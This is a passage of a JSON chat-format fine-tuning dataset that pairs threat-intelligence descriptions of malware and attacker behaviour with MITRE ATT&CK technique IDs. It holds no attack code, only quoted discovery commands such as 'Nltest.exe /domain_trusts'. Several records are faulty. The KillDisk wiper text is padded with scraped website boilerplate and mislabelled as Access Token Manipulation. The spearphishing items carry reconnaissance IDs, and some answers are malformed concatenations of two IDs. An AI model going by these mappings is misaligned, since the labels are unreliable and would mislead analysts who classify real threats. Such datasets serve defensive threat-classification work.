                "content": "FLASHFLOOD stages data it copies from the local system or removable drives in the \"%WINDIR%\\$NtUninstallKB885884$\\\" directory."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OwaAuth is a Web shell that appears to be exclusively used by Threat Group-3390. It is installed as an ISAPI filter on Exchange servers and shares characteristics with the China Chopper Web shell."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KillDisk’s infection chain . How is it dropped in the system. This KillDisk variant looks like it is intentionally dropped by another process/attacker. The new KillDisk variant’s parameter to shut down the affected machine . KillDisk also has a self-destruct process, although it isn’t really deleting itself. Code snippets showing how KillDisk overwrites then deletes files . How does it wipe the disk. It reads the Master Boot Record (MBR) of every device it successfully opens and proceeds to overwrite the first 0x20 sectors of the device with “0x00”. It uses the information from the MBR to do further damage to the partitions it lists. KillDisk has a numeric parameter that denotes the number of minutes (15 being the default) it will wait before it shuts down the affected machine. To try to reboot the machine, it will try to terminate these processes: This is done most likely to force a reboot or dupe the user into restarting the machine. Additionally, the website utilizes an AI-based application that runs in the background and optimizes its accessibility level constantly. Vision Impaired Profile: this profile adjusts the website so that it is accessible to the majority of visual impairments such as Degrading Eyesight, Tunnel Vision, Cataract, Glaucoma, and others. Accept Cancel Continue Processing the data, please give it a few seconds"
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "kills and disables services by using cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers used spear phishing emails combined with malicious HWP documents created using Hancom Hangul Office Suite"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has collected open source information to identify relationships between organizations for targeting purposes."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxxZ has relied on victims to open a malicious attachment delivered via email."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the command-line interface to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Putty – can be leveraged by attackers for remote access, to exfiltrate data and send it back to attackers - PSExec – is a legitimate Microsoft tool that can be exploited by malicious actors and used for lateral movement across victim networks - SNScan – this tool can be used for network reconnaissance, to find other potential targets on victim networks - WinRAR – is an archiving tool that can be used to compress files (potentially to make them easier to send back to attackers) and also to extract files from zipped folders"
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS has deobfuscated itself before executing its commands."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Naid collects the domain name from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  client has been signed by fake and invalid digital certificates."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FinFisher probes the system to check for antimalware processes."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower can delete created files from a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The second file is a PowerShell script which appears to be based on a Rapid7 Ruby Exploitation script that loads arbitrary shellcode"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pillowmint has used shellcode which reads code stored in the registry keys \"\\REGISTRY\\SOFTWARE\\Microsoft\\DRM\" using the native Windows API as well as read \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\" as part of its C2."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This document was a decoy aimed to entice the user to open malicious documents embedded further down the pageThe actor embedded two additional links and the document urged the user to click on these links for more information about New Year's activities in North Korea"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor has exfiltrated data over the C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "leveraged the tool LaZagne for retrieving login and password information."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM has used the \"systeminfo\" command on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has encrypted its C2 traffic with RC4."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Socksbot creates a suspended svchost process and injects its DLL into it."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Multiple samples contain UAC bypass code for both 32 and 64-bit systems. The UAC bypass code is stored as 'DAT' in the file's resource section"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY has used PowerShell to decode base64-encoded assembly."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has retrieved a list of trusted domains by using \"Nltest.exe /domain_trusts\"."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "2) The directory “out” is created in the user’s %AppData% folder. 5) The screenshot is then copied over to the newly created “out” directory of the system where the batch script was executed. 6) In one instance, DHS observed an “out.zip” file created"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Diavol can collect the computer name and OS version from the system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Thursday, April 16, 2020 . PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors . News summary . - Azerbaijan government and energy sector likely targeted by an unknown actor. For exfiltration, it uses FTP, which denotes an intention to transfer large amounts of data. Afterward, it copies 7,074,638 bytes from the end of the file and writes the remaining bytes back to the disk. One, called \"frown.py,\" is responsible for the communications with the command and control (C2). It uses TLS to encrypt the communication that occurs on port 143. For each FTP usage, the credentials are provided by the C2 server during the request. Start routine The communication between the scripts is done via a file called \"Abibliophobia23\" Commands and results are written into the file using a custom encryption scheme. The binary uses a file system watcher in order to generate an event each time a file is modified in one of the directories in the \"Paths\" variable of the configuration file. Filesystem monitoring routine Once a file is available, the Dog.exe binary exfiltrates it, using email or FTP depending on the configuration. Additional tools . During our investigation, we identified a couple of additional tools mainly in Python and compiled for Windows: - Klog.exe: A keylogger using an output file called \"System32.Log. Tre.py\": A script used to create the file with the files/directories tree"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used PowerShell for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used an RSS feed on Livejournal to update a list of encrypted C2 server names."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It is highly likely the adversary then used spear-phishing attacks containing links to these malicious documents as a delivery mechanism"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze has communicated to hard-coded IP addresses via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Numbered Panda has a long list of high-profile victims and is known by a number of names including: DYNCALC, IXESHE, JOY RAT, APT-12, etc. Numbered Panda has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments. Numbered Panda has targeted organizations in time-sensitive operations such as the Fukushima Reactor Incident of 2011, likely filling intelligence gaps in the ground cleanup/mitigation operations. One of the most interesting techniques that Numbered Panda likes to use is to dynamically calculate the Command and Control (C2) port by resolving a DNS. The malware will typically use two DNS names for communication: one is used for command and control; the other is used with an algorithm to calculate the port to communicate to. There are several variations of the algorithm used to calculate the C2 port, but one of the most common is to multiply the first two octets of the IP address and add the third octet to that value. This is typically represented as: (A * B) + C – common values might be 200.2.43.X, which would result in communication on port 443. Numbered Panda will frequently use blogs or WordPress in the c2 infrastructure, which helps to make the network traffic look more legitimate. CrowdStrike has observed Numbered Panda targeting high-tech, defense contractors, media organizations, and western governments"
            },
            {
                "role": "assistant",
                "content": "T1568.003 - DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HTTPBrowser has used DNS for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ‘vsnet’ plugin was intended to spread and launch a payload (BlackEnergy2 dropper itself at the moment) in the local network by using PsExec, as well as gaining primary information on the user’s computer and network"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla can achieve persistence by modifying Registry key entries."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has used quser.exe to identify existing RDP connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Depending on the Ramsay version, file collection won’t be restricted to the local system drive, but also will search additional drives such as network or removable drives"
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI can take screenshots of the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The name EvilBunny is derived from debug information embedded in the malware’s dropper. Furthermore, the specified piece incorporates a Lua 5.1 interpreter, which allows the malware to execute Lua scripts and change its behavior at runtime. The dropper will place the EvilBunny malware under %APPDATA%\\Perf Manager\\ or %WINDIR%\\msapps\\; depending whether the dropper is running with administrative privileges or not. Also, the malware will generate numerous files to help its execution and frequently reply back to the C&amp;C with status messages. Similar to its dropper, the binary seeks to evade sandboxes. Next to that, the main thread also runs sub threads to maintain log files the malware creates during execution and to keep track of the overall system load the malware creates. The worker threads are internally dubbed ‘hearer’, which is believed to stand for ‘listener’. It can be concluded thereafter that the malware authors were no English native speakers. The main action of the malware is carried out in the main thread, which parses commands and executes Lua scripts, provided by the worker threads via command files. Each hearer has a dedicated method to receive instructions which is either separately via HTTP from the server, aggregated through a downloaded data file or as tasks to be configured as scheduled tasks. In general this is a rather uncommon technique, but it has been observed before, especially in connection with some adware variants"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuasarRAT can use TCP for C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the Windows Installer service by spawning a process as the trusted installer, allowing the malicious code to run with system-level privileges and skip the UAC prompt."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes a PowerShell command that recursively encrypts files in the Documents folder using a hardcoded key."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributes SEO‑poisoned links through social media posts that contain popular hashtags, causing search engines to surface malicious sites in related searches."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor hijacks a running process by modifying its memory and using the SetThreadContext API to execute malicious shellcode."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces the system's RSA key pair with a shorter 1024‑bit key, reducing the strength of encrypted communications."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses an external DNS resolver service to look up the IP of its command server, allowing the attacker to change the IP without updating the malware."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated campaign adds a socket filter rule that flags traffic from a known C2 IP, allowing the malware to coordinate actions based on the signal."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scans the victim's home directory for a .bash_history file and parses it to collect plaintext passwords typed into commands."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage base64url encoding to hide malicious payloads in HTTP GET parameters."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan exfiltrates information by posting data to a remote web service and then terminates the connection, never reading any server reply."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stages data by moving files to a local staging location and renaming them to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a file copy operation that omits the \"Zone.Identifier\" ADS, preventing the Mark‑of‑the‑Web from flagging the payload."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious VBA code in a macro-enabled workbook registers a new Office add‑in to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a malicious DLL into the Winlogon notification packages registry value, the adversary achieves persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider injected code into the SAML identity provider, changing the assertion signing key so that forged SAML tokens are accepted by the service provider."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages COM interfaces to invoke methods in a privileged process, allowing malicious code to execute commands via inter-process communication."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor creates a forged Kerberos service ticket for the HTTP service on a web server, bypassing normal authentication checks with a Silver Ticket."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised supplier’s build pipeline injects a malicious binary into the final product distributed to customers."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute malicious PowerShell scripts by proxying them through legitimate system scripts to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor configures the infected host to relay communications through an external proxy chain, using a compromised VPN endpoint as the first hop."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Internal spearphishing: a malicious link is embedded in an email that looks like an internal memo about policy updates."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set exploits a misconfigured internal proxy to forward malicious HTTP requests to external servers, masking the true source IP."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits an authentication service misconfiguration that treats all MFA challenges as successful, effectively nullifying the second factor."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign leverages Facebook posts that appear to be from a trusted friend, directing users to a malicious website hosting a ransomware dropper."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Jenkins server was used to pull cloud secrets from a secret management store for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a new subkey under HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to ensure it starts automatically on system boot."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
